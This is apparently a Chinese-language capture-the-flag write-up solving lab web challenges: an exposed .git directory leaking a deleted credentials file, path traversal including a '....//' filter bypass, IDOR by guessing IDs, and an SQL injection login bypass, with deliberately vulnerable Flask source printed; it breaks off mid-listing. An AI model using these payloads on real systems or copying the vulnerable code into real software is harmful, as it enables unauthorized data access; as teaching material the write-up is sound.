/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
199
  warnings.warn(
200
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
201
  warnings.warn(
202
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
203
  warnings.warn(
204
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
205
  warnings.warn(
206
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
207
  warnings.warn(
208
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
209
  warnings.warn(
210
[-] Fetching https://web02.ctf.ga24.me/.git/refs/wip/index/refs/heads/production [404]
211
[-] https://web02.ctf.ga24.me/.git/refs/wip/index/refs/heads/production responded with status code 404
212
[-] Fetching https://web02.ctf.ga24.me/.git/refs/wip/index/refs/heads/staging [404]
213
[-] https://web02.ctf.ga24.me/.git/refs/wip/index/refs/heads/staging responded with status code 404
214
[-] Fetching https://web02.ctf.ga24.me/.git/refs/wip/index/refs/heads/development [404]
215
[-] https://web02.ctf.ga24.me/.git/refs/wip/index/refs/heads/development responded with status code 404
216
[-] Fetching https://web02.ctf.ga24.me/.git/refs/wip/index/refs/heads/main [404]
217
[-] https://web02.ctf.ga24.me/.git/refs/wip/index/refs/heads/main responded with status code 404
218
[-] Fetching https://web02.ctf.ga24.me/.git/refs/wip/index/refs/heads/master [404]
219
[-] https://web02.ctf.ga24.me/.git/refs/wip/index/refs/heads/master responded with status code 404
220
[-] Fetching https://web02.ctf.ga24.me/.git/refs/wip/wtree/refs/heads/development [404]
221
[-] https://web02.ctf.ga24.me/.git/refs/wip/wtree/refs/heads/development responded with status code 404
222
[-] Finding packs
223
[-] Finding objects
224
[-] Fetching objects
225
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
226
  warnings.warn(
227
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
228
  warnings.warn(
229
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
230
  warnings.warn(
231
[-] Fetching https://web02.ctf.ga24.me/.git/objects/81/2a92757b13a9a7915b33127d404383c4e06771 [200]
232
[-] Fetching https://web02.ctf.ga24.me/.git/objects/ca/c9927318728462bc9402ccadb4c82b1d7ec7a1 [200]
233
[-] Fetching https://web02.ctf.ga24.me/.git/objects/5f/f0dd0fb91ec018d2ebf4e8497a33f1c43e9fa3 [200]
234
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
235
  warnings.warn(
236
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
237
  warnings.warn(
238
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
239
  warnings.warn(
240
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
241
  warnings.warn(
242
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
243
  warnings.warn(
244
[-] Fetching https://web02.ctf.ga24.me/.git/objects/a6/325535a37f01de5b47dda4e52d5414bc9dd5ea [200]
245
[-] Fetching https://web02.ctf.ga24.me/.git/objects/db/a8e5462b9287b53ec2d2f8fd1337815b4d6c8e [200]
246
[-] Fetching https://web02.ctf.ga24.me/.git/objects/00/00000000000000000000000000000000000000 [404]
247
[-] https://web02.ctf.ga24.me/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
248
[-] Fetching https://web02.ctf.ga24.me/.git/objects/e9/3ad21b8edd16be3336320c6db0f3d8a6d317ca [200]
249
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
250
  warnings.warn(
251
[-] Fetching https://web02.ctf.ga24.me/.git/objects/47/8681ed092876e1cb5730c1f19a1e8ef2b8ff36 [200]
252
[-] Fetching https://web02.ctf.ga24.me/.git/objects/db/38c281cc56c13993df5f4d2da2c7121564d9bc [200]
253
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
254
  warnings.warn(
255
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
256
  warnings.warn(
257
[-] Fetching https://web02.ctf.ga24.me/.git/objects/3f/d9f444b8c03df437141a8e1dd58f7fd8aa01d5 [200]
258
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
259
  warnings.warn(
260
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
261
  warnings.warn(
262
[-] Fetching https://web02.ctf.ga24.me/.git/objects/e0/293a949c35d4de3521e56ea3096502575e8b2d [200]
263
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
264
  warnings.warn(
265
[-] Fetching https://web02.ctf.ga24.me/.git/objects/81/8bea60b732259be81001d75a9984661d63656a [200]
266
[-] Fetching https://web02.ctf.ga24.me/.git/objects/4d/eeb90f5c246b756c9cf3fae830b90a19744b79 [200]
267
[-] Fetching https://web02.ctf.ga24.me/.git/objects/e6/a50b66518628060ddec56a558dff0145530d42 [200]
268
[-] Running git checkout .
269
➜  ~ cd ./web02
270
➜  web02 git:(main)

然後我們就把整個專案資料夾 clone（克隆/複製）下來了，那我們就可以查看一下他的歷史紀錄：

1
➜  web02 git:(main) git log
2

3
commit a6325535a37f01de5b47dda4e52d5414bc9dd5ea (HEAD -> main)
4
Author: Alice <alice@shopmini.example>
5
Date:   Sun Apr 5 14:15:00 2026 +0000
6

7
    Add .gitignore and minor style tweaks
8

9
commit 812a92757b13a9a7915b33127d404383c4e06771
10
Author: Alice <alice@shopmini.example>
11
Date:   Thu Apr 2 09:30:00 2026 +0000
12

13
    Remove accidentally committed credentials file
14

15
commit cac9927318728462bc9402ccadb4c82b1d7ec7a1
16
Author: ShopMini Dev <dev@shopmini.example>
17
Date:   Wed Apr 1 10:00:00 2026 +0000
18

19
    Initial import of ShopMini site
20
(END)
21
➜  web02 git:(main)

有發現嗎，這裡第二個 commit（提交）把意外提交的憑證文件刪除了，也就是第一個 commit 中很有可能會有我們想要的東西。
那我們就可以使用 switch（切換）到之前的版本看看：

1
➜  web02 git:(main) git switch --detach cac992
2
HEAD is now at cac9927 Initial import of ShopMini site
3
➜  web02 git:(cac9927) ls
4
index.html             secret_credentials.txt
5
README.md              style.css
6
➜  web02 git:(cac9927)

看到那個有趣的檔案了嗎？ secret_credentials.txt，直接打開吧！

1
➜  web02 git:(cac9927) cat secret_credentials.txt
2
# Production credentials — DO NOT COMMIT
3
AWS_ACCESS_KEY_ID=AKIA5EXAMPLEACMEDEV
4
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
5
INTERNAL_API_TOKEN=FLAG{n3v3r_c0mm1t_s3cr3ts_t0_g1t_h1st0ry}
6
➜  web02 git:(cac9927)

Flag#

1
FLAG{n3v3r_c0mm1t_s3cr3ts_t0_g1t_h1st0ry}

Web / Path Traversal#

InternalDocs Wiki (150)#

題目#

InternalDocs 是 XXX 公司剛推出的內部 wiki。看起來只是個很單純的文件閱讀器……但也許太單純了？

網站：https://web03.ctf.ga24.me

解題心得#

點開網站，看到三個連結，分別是 Welcome、Changelog、Contact，還有一個提示 Tip: URL 上的 page= 可以指定要讀哪一份文件。。
我們打開這三個連結看看：
https://web03.ctf.ga24.me/view?page=welcome.txt

1
Welcome to InternalDocs Wiki!
2

3
This wiki is used to host internal company documentation. Pages are
4
served from /app/pages/ on the server.
5

6
If a page is missing, ask the wiki admin. Do NOT edit files directly.

https://web03.ctf.ga24.me/view?page=changelog.txt

1
Changelog
2
=========
3

4
2026-07-01  v1.2  Add "contact.txt" page.
5
2026-06-15  v1.1  Move wiki root to /app/pages/.
6
2026-05-01  v1.0  Initial release.

https://web03.ctf.ga24.me/view?page=contact.txt

1
Wiki admin:  wiki-admin@internal.example
2
Helpdesk  :  helpdesk@internal.example  (ext. 4242)

有發現嗎，這個網站都是用 view?page= 後面接著要打開的檔案名稱，所以我們可以嘗試打開 flag.txt，但發現 404 Not Found。這時候回去看前面兩個連結提到伺服器是架在 /app/pages/ 中，所以我們就直接回到上上層路徑試試看： https://web03.ctf.ga24.me/view?page=../../flag.txt

1
FLAG{p4th_tr4v3rs4l_1s_th3_cl4ss1c_w3b_bug}

欸找到了！這裡補一下概念 ../ 代表回到上層目錄，然後通常打 CTF 都要通靈知道我們會把 Flag 藏在 flag.txt 中。

Flag#

1
FLAG{p4th_tr4v3rs4l_1s_th3_cl4ss1c_w3b_bug}

ManualHub v2 — Secured (300)#

題目#

在被 pentester 爆了 Path Traversal 之後，ManualHub 團隊上線 v2，把使用者輸入通通經過 sanitize() 過濾。

「這次我們超安全，../ 通通擋掉。」真的嗎？

網站：https://web04.ctf.ga24.me

附件：app.py

解題心得#

打開網站，發現跟上個的題目很像，但連結不太一樣，分別是 Quickstart、FAQ、Release Notes，還有一個提示 v2 更新：所有路徑輸入都經過 sanitize() 處理，過濾 ../，請放心下載，不會有任何 Path Traversal 風險。。
我們打開這三個連結看看：
https://web04.ctf.ga24.me/download?file=quickstart.txt

1
ManualHub — Quickstart
2

3
1. 從左側選單挑一份手冊。
4
2. 點下去就會下載。
5

6
若下載失敗，請聯絡管理員。

1
FAQ
2
===
3

4
Q: v1 有 Path Traversal 洞，v2 修好了嗎？
5
A: 修好了！我們現在會把 ../ 過濾掉。
6

7
Q: 那如果我輸入 ....// 呢？
8
A: (安靜)

1
Release Notes
2
=============
3

4
v2.0 (2026-07-01)
5
  - 修補 v1 的 Path Traversal 漏洞
6
  - 新增 sanitize() 過濾 ../
7

8
v1.0 (2026-06-01)
9
  - 初始版本

這裡有附上一個 app.py，我們打開來可以看到跟 FAQ 和 Release Notes 對應到的 santitize() 函式：


29 collapsed lines
1
from flask import Flask, request, abort, Response
2
import os
3

4
app = Flask(__name__)
5
DOCS_DIR = "/app/docs"
6

7
INDEX_HTML = """<!DOCTYPE html>
8
<html lang="zh-TW"><head><meta charset="UTF-8"><title>ManualHub</title>
9
<style>
10
body{font-family:-apple-system,sans-serif;max-width:720px;margin:32px auto;padding:0 16px;color:#222}
11
h1{color:#204e4a}nav a{margin-right:16px}
12
.hint{color:#888;font-size:12px}
13
.badge{display:inline-block;background:#c8e6c9;color:#204e4a;padding:2px 8px;border-radius:10px;font-size:12px;margin-left:8px}
14
</style></head><body>
15
<h1>ManualHub <span class="badge">v2 · Secured</span></h1>
16
<p>下載官方使用手冊：</p>
17
<nav>
18
  <a href="/download?file=quickstart.txt">Quickstart</a>
19
  <a href="/download?file=faq.txt">FAQ</a>
20
  <a href="/download?file=release_notes.txt">Release Notes</a>
21
</nav>
22
<p class="hint">
23
  v2 更新：所有路徑輸入都經過 <code>sanitize()</code> 處理，過濾 <code>../</code>，
24
  請放心下載，不會有任何 Path Traversal 風險。
25
</p>
26
</body></html>
27
"""
28

29

30
def sanitize(name: str) -> str:
31
    """
32
    v1 曾被 Path Traversal 攻擊，v2 加入這個「安全」過濾器：
33
    把所有 '../' 通通拿掉就好啦。
34
    """
35
    return name.replace("../", "")
25 collapsed lines
36

37

38
@app.route("/")
39
def index():
40
    return INDEX_HTML
41

42

43
@app.route("/download")
44
def download():
45
    file = request.args.get("file", "quickstart.txt")
46

47
    safe = sanitize(file)
48
    path = DOCS_DIR + "/" + safe
49

50
    try:
51
        with open(path, "r", encoding="utf-8", errors="replace") as f:
52
            body = f.read()
53
    except (FileNotFoundError, IsADirectoryError, PermissionError):
54
        abort(404)
55

56
    return Response(body, mimetype="text/plain; charset=utf-8")
57

58

59
if __name__ == "__main__":
60
    app.run(host="0.0.0.0", port=8080)

那都給了提示了，直接輸入 ....// 到 flag.txt 就可以找到了檔案了！
https://web04.ctf.ga24.me/download?file=…//…//flag.txt

1
FLAG{n0n_r3curs1v3_f1lt3rs_g3t_nest3d_by_d0ts}

補一下為什麼這樣可以，因為這個程式做的事情是把所有的 ../ 全部刪除，但在 ....// 中，他只會找到一個 ../，然後把它刪掉後，就會剩下 ../。

Flag#

1
FLAG{n0n_r3curs1v3_f1lt3rs_g3t_nest3d_by_d0ts}

Web / IDOR#

MyJournal (150)#

題目#

「MyJournal」是一個私人日誌 App。每個使用者只能看到自己寫的日誌……應該吧？

網站：https://web05.ctf.ga24.me

測試帳號：alice / alice123、bob / bob123

解題心得#

我們這題直接使用題目提供的 alice 帳號登入，會發現裡面會有三篇日誌：

1
#3 — Alice — 京都行程
2
#5 — Alice — 健身進度
3
#6 — Alice — 工作 TODO

打開第一個我們會發現他的日誌是靠數字去控制的。

1
https://web05.ctf.ga24.me/journal/<id>

也就是說，我們可以快樂的猜日誌編號，有 3 應該就會有 2，有 2 應該會有 1。於是就可以找到了那篇 admin 日誌：

1
只有我（admin）看得到這篇。
2

3
1. DB 密碼輪換
4
2. 內部 API token 輪換 → 新 token: FLAG{id0r_1s_ju5t_ch4ng1ng_th3_numb3r}
5
3. VPN cert 續期

Flag#

1
FLAG{id0r_1s_ju5t_ch4ng1ng_th3_numb3r}

SupportDesk (300)#

題目#

公司剛導入了 SupportDesk 內部工單系統。工程主管很有信心：「所有 ticket ID 都用 UUID，開發時也都有做 ownership check，這次萬無一失。」

用測試帳號登入，看看能不能挖到 admin 藏在私人 ticket 裡的 API token。

網站：https://web06.ctf.ga24.me

測試帳號：alice / alice123

附件：app.py

解題心得#

這題也是簡單不難，一樣登入後會看到有一些 UUDI 工單，點見去後會看到他的 Reply 好像疑似也是靠 id 去辨認的？於是我們選一篇 Reply 查看他的 JSON： https://web06.ctf.ga24.me/api/replies/2

1
{
2
  "author_id": 3,
3
  "body": "我忘記密碼，請協助 reset，我用的 email 是 alice@example.com。",
4
  "id": 2,
5
  "ticket": "b1d4a76c-2c9b-4e5b-b8a1-72e9d0a3b4c5"
6
}

從這個可以看到，他好像的確就是這麼搞的，那我們也順便查看題目原始碼確認一下：


29 collapsed lines
1
from flask import Flask, request, session, redirect, url_for, abort, jsonify
2
import os
3
import html
4

5
app = Flask(__name__)
6
app.secret_key = os.urandom(32)
7

8

9
# --- In-memory「資料庫」 -----------------------------------------------------
10
USERS = {
11
    # username → (password, user_id, display_name)
12
    "admin": ("OSGAisSO_Handsome", 1, "Admin"),
13
    "bob":   ("bob123",   2, "Bob"),
14
    "alice": ("alice123", 3, "Alice"),
15
}
16
USER_BY_ID = {rec[1]: (uname, rec[2]) for uname, rec in USERS.items()}
17

18
# ticket_uuid → {owner_id, subject}
19
TICKETS = {
20
    "9f2c8e63-1c0a-4c3f-a1e7-3f9f5a2c1a01":
21
        {"owner_id": 1, "subject": "[Internal] Q3 secret rotation"},
22
    "b1d4a76c-2c9b-4e5b-b8a1-72e9d0a3b4c5":
23
        {"owner_id": 3, "subject": "登入密碼重設"},
24
    "e7c9f3a2-9c72-49a8-9d5c-8f1a2b3c4d5e":
25
        {"owner_id": 3, "subject": "報表下載按鈕沒反應"},
26
    "c5a1e0b3-6d7f-4a2c-8e3d-9b1c0d2e3f45":
27
        {"owner_id": 2, "subject": "無法上傳超過 10MB 附件"},
28
}
29

30
# reply_id (int) → {ticket_uuid, author_id, body}
31
# 注意：reply 有整數 ID —— 這是漏洞的入口
32
REPLIES = {
33
    1:  {"ticket": "9f2c8e63-1c0a-4c3f-a1e7-3f9f5a2c1a01", "author_id": 1,
34
         "body": "本季密碼輪換已完成，記得 update 部署設定。"},
35
    2:  {"ticket": "b1d4a76c-2c9b-4e5b-b8a1-72e9d0a3b4c5", "author_id": 3,
36
         "body": "我忘記密碼，請協助 reset，我用的 email 是 alice@example.com。"},
37
    3:  {"ticket": "b1d4a76c-2c9b-4e5b-b8a1-72e9d0a3b4c5", "author_id": 1,
38
         "body": "已寄出 reset link，請 24 小時內完成。"},
39
    4:  {"ticket": "c5a1e0b3-6d7f-4a2c-8e3d-9b1c0d2e3f45", "author_id": 2,
40
         "body": "附件是 12MB 的 pdf。"},
41
    5:  {"ticket": "e7c9f3a2-9c72-49a8-9d5c-8f1a2b3c4d5e", "author_id": 3,
42
         "body": "在 Chrome / Safari 都試過，都沒反應。"},
43
    6:  {"ticket": "c5a1e0b3-6d7f-4a2c-8e3d-9b1c0d2e3f45", "author_id": 1,
44
         "body": "上限是 10MB，麻煩壓縮後再上傳。"},
45
    7:  {"ticket": "e7c9f3a2-9c72-49a8-9d5c-8f1a2b3c4d5e", "author_id": 1,
46
         "body": "已修復（前端 handler 沒 bind 到），下次 build 會生效。"},
47
    # -- Admin 對自己 ticket 的 private reply，藏 FLAG --------------------------
48
    42: {"ticket": "9f2c8e63-1c0a-4c3f-a1e7-3f9f5a2c1a01", "author_id": 1,
49
         "body": "順帶記錄一下：新產生的 API token = FLAG{OSGAAAAAAAAAAAAAA}"},
50
}
162 collapsed lines
51
# -----------------------------------------------------------------------------
52

53

54
def current_user():
55
    return session.get("user_id"), session.get("username")
56

57

58
def _display(uid: int) -> str:
59
    rec = USER_BY_ID.get(uid)
60
    return rec[1] if rec else f"user#{uid}"
61

62

63
LOGIN_HTML = """<!DOCTYPE html>
64
<html lang="zh-TW"><head><meta charset="UTF-8"><title>SupportDesk · 登入</title>
65
<style>
66
body{font-family:-apple-system,sans-serif;max-width:420px;margin:60px auto;padding:0 16px;color:#222}
67
h1{color:#204e4a}input{width:100%;padding:8px;margin:6px 0;box-sizing:border-box}
68
button{padding:8px 16px;background:#204e4a;color:#fff;border:0;border-radius:4px;cursor:pointer}
69
.err{color:#c00}
70
.test{background:#eef9f7;padding:12px;border-radius:6px;font-size:13px;margin-top:24px}
71
</style></head><body>
72
<h1>SupportDesk</h1>
73
<p>企業內部客服工單系統。</p>
74
<form method="POST">
75
  <input name="username" placeholder="使用者名稱" required autofocus>
76
  <input name="password" type="password" placeholder="密碼" required>
77
  <button>登入</button>
78
</form>
79
%s
80
<div class="test"><b>測試帳號：</b> alice / alice123</div>
81
</body></html>
82
"""
83

84

85
@app.route("/")
86
def root():
87
    return redirect(url_for("dashboard" if session.get("user_id") else "login"))
88

89

90
@app.route("/login", methods=["GET", "POST"])
91
def login():
92
    err = ""
93
    if request.method == "POST":
94
        u = request.form.get("username", "")
95
        p = request.form.get("password", "")
96
        rec = USERS.get(u)
97
        if rec and rec[0] == p:
98
            session["username"] = u
99
            session["user_id"] = rec[1]
100
            return redirect(url_for("dashboard"))
101
        err = '<p class="err">帳號或密碼錯誤。</p>'
102
    return LOGIN_HTML % err
103

104

105
@app.route("/logout")
106
def logout():
107
    session.clear()
108
    return redirect(url_for("login"))
109

110

111
# ==========================================================================
112
#                          HTML pages (properly scoped)
113
# ==========================================================================
114

115
@app.route("/dashboard")
116
def dashboard():
117
    uid, uname = current_user()
118
    if not uid:
119
        return redirect(url_for("login"))
120

121
    mine = [(u, t) for u, t in TICKETS.items() if t["owner_id"] == uid]
122
    rows = "".join(
123
        f'<tr><td><code>{u[:8]}…</code></td>'
124
        f'<td><a href="/tickets/{u}">{html.escape(t["subject"])}</a></td></tr>'
125
        for u, t in mine
126
    ) or '<tr><td colspan="2"><i>你還沒有任何 ticket。</i></td></tr>'
127

128
    return f"""<!DOCTYPE html>
129
<html lang="zh-TW"><head><meta charset="UTF-8"><title>SupportDesk · 首頁</title>
130
<style>
131
body{{font-family:-apple-system,sans-serif;max-width:720px;margin:32px auto;padding:0 16px;color:#222}}
132
h1{{color:#204e4a}}nav a{{margin-right:12px;color:#204e4a}}
133
table{{width:100%;border-collapse:collapse}}
134
td,th{{padding:8px;border-bottom:1px solid #eee;text-align:left}}
135
</style></head><body>
136
<nav><a href="/dashboard">首頁</a><a href="/logout">登出</a></nav>
137
<h1>嗨，{html.escape(uname)}！</h1>
138
<p>你的工單列表：</p>
139
<table><thead><tr><th>UUID</th><th>Subject</th></tr></thead>
140
<tbody>{rows}</tbody></table>
141
</body></html>"""
142

143

144
@app.route("/tickets/<ticket_uuid>")
145
def ticket_page(ticket_uuid):
146
    uid, uname = current_user()
147
    if not uid:
148
        return redirect(url_for("login"))
149

150
    t = TICKETS.get(ticket_uuid)
151
    if not t:
152
        abort(404)
153
    # ✓ 這裡有做 ownership check
154
    if t["owner_id"] != uid:
155
        abort(403)
156

157
    replies = [(rid, r) for rid, r in REPLIES.items() if r["ticket"] == ticket_uuid]
158
    items = "".join(
159
        f'<li><b>Reply <code>#{rid}</code></b> by {_display(r["author_id"])}: '
160
        f'<div class="body">{html.escape(r["body"])}</div>'
161
        f'<small><a href="/api/replies/{rid}">view JSON</a></small></li>'
162
        for rid, r in sorted(replies)
163
    ) or "<i>還沒有回覆。</i>"
164

165
    return f"""<!DOCTYPE html>
166
<html lang="zh-TW"><head><meta charset="UTF-8"><title>Ticket · {html.escape(t["subject"])}</title>
167
<style>
168
body{{font-family:-apple-system,sans-serif;max-width:720px;margin:32px auto;padding:0 16px;color:#222}}
169
h1{{color:#204e4a}}nav a{{margin-right:12px;color:#204e4a}}
170
.meta{{color:#888;font-size:12px}}
171
.body{{background:#eef9f7;padding:12px;border-radius:6px;margin:6px 0;line-height:1.5}}
172
li{{margin-bottom:16px;list-style:none}}
173
</style></head><body>
174
<nav><a href="/dashboard">← 回首頁</a><a href="/logout">登出</a></nav>
175
<h1>{html.escape(t["subject"])}</h1>
176
<p class="meta">Ticket UUID: <code>{ticket_uuid}</code></p>
177
<h3>Replies</h3>
178
<ul>{items}</ul>
179
</body></html>"""
180

181

182
# ==========================================================================
183
#                              JSON API
184
# ==========================================================================
185

186
@app.route("/api/tickets")
187
def api_tickets():
188
    uid, _ = current_user()
189
    if not uid:
190
        return jsonify({"error": "not authenticated"}), 401
191
    mine = [{"uuid": u, "subject": t["subject"]}
192
            for u, t in TICKETS.items() if t["owner_id"] == uid]
193
    return jsonify(mine)
194

195

196
@app.route("/api/tickets/<ticket_uuid>")
197
def api_ticket_detail(ticket_uuid):
198
    uid, _ = current_user()
199
    if not uid:
200
        return jsonify({"error": "not authenticated"}), 401
201
    t = TICKETS.get(ticket_uuid)
202
    if not t:
203
        return jsonify({"error": "not found"}), 404
204
    # ✓ ownership check
205
    if t["owner_id"] != uid:
206
        return jsonify({"error": "forbidden"}), 403
207
    replies = [{"id": rid, "author_id": r["author_id"], "body": r["body"]}
208
               for rid, r in REPLIES.items() if r["ticket"] == ticket_uuid]
209
    return jsonify({"ticket": {"uuid": ticket_uuid, "subject": t["subject"]},
210
                    "replies": replies})
211

212

213
@app.route("/api/replies/<int:rid>")
214
def api_reply(rid):
215
    uid, _ = current_user()
216
    if not uid:
217
        return jsonify({"error": "not authenticated"}), 401
218

219
    r = REPLIES.get(rid)
220
    if not r:
221
        return jsonify({"error": "not found"}), 404
222

223
    # !!! IDOR: 沒有檢查這個 reply 所屬的 ticket 是不是當前 user 的 !!!
224
    # 正確作法：
225
    #   ticket = TICKETS[r["ticket"]]
226
    #   if ticket["owner_id"] != uid: return jsonify({"error": "forbidden"}), 403
11 collapsed lines
227

228
    return jsonify({
229
        "id": rid,
230
        "ticket": r["ticket"],
231
        "author_id": r["author_id"],
232
        "body": r["body"],
233
    })
234

235

236
if __name__ == "__main__":
237
    app.run(host="0.0.0.0", port=8080)

我們可以看到 REPLIES 有定義一個 42 的回應，且他的 api_reply 並沒有做好身份防護，於是我們就直接打開 42 就可以看到 Flag 了！
https://web06.ctf.ga24.me/api/replies/42

1
{
2
  "author_id": 1,
3
  "body": "順帶記錄一下：新產生的 API token = FLAG{ch1ld_0bj3cts_n33d_auth_t00}",
4
  "id": 42,
5
  "ticket": "9f2c8e63-1c0a-4c3f-a1e7-3f9f5a2c1a01"
6
}

Flag#

1
FLAG{ch1ld_0bj3cts_n33d_auth_t00}

Web / SQL Injection#

MiniBoard (150)#

題目#

MiniBoard 是公司內部的員工布告欄，只有註冊員工可以登入。你沒有帳號，但……有 SQL Injection。

網站：https://web07.ctf.ga24.me

解題心得#

這題就是一個很明確的 SQL injection 的題目，簡單來說就是串改原本意思，讓他永遠都是成立，讓系統可以登入。那就輸入大名鼎鼎的 'OR '1=1'-- 就可以成功登入了！

原理大概是這樣，當我們填入這個語句時，他會執行類似這樣的 SQL 語法：

1
SELECT * FROM users
2
WHERE username = '' OR 1=1 -- '
3
AND password = 'x';

1=1 永遠為 True（除非有一天數學崩塌了www），而 -- 會把後面的東西都註解掉。送出後就會看到我們心心念念的 Flag 拉！

1
internal notes: monthly rotation done.
2
flag = FLAG{unsan1t1z3d_1nput_g03s_str41ght_1nt0_sql}

Flag#

1
FLAG{unsan1t1z3d_1nput_g03s_str41ght_1nt0_sql}

BookHub — Secure Search (300)#

題目#

BookHub 上一版被 pentester 爆了 SQL Injection。v2 上線了「Secure Search」：所有 query 經過 sanitize()，過濾 union / select 關鍵字（不分大小寫）。

「這次真的安全了。」真的嗎？

網站：https://web08.ctf.ga24.me

附件：app.py

解題心得#

這題有附原始碼就先來看一下吧：


27 collapsed lines
1
from flask import Flask, request
2
import sqlite3
3
import os
4
import re
5
import html
6

7
app = Flask(__name__)
8
DB_PATH = "/tmp/web08.db"
9

10

11
def init_db():
12
    if os.path.exists(DB_PATH):
13
        os.remove(DB_PATH)
14
    conn = sqlite3.connect(DB_PATH)
15
    conn.executescript("""
16
    CREATE TABLE books (
17
        id             INTEGER PRIMARY KEY,
18
        title          TEXT,
19
        author         TEXT,
20
        published_year INTEGER
21
    );
22
    CREATE TABLE secrets (
23
        id    INTEGER PRIMARY KEY,
24
        name  TEXT,
25
        value TEXT
26
    );
27
    """)
28
    conn.executemany(
29
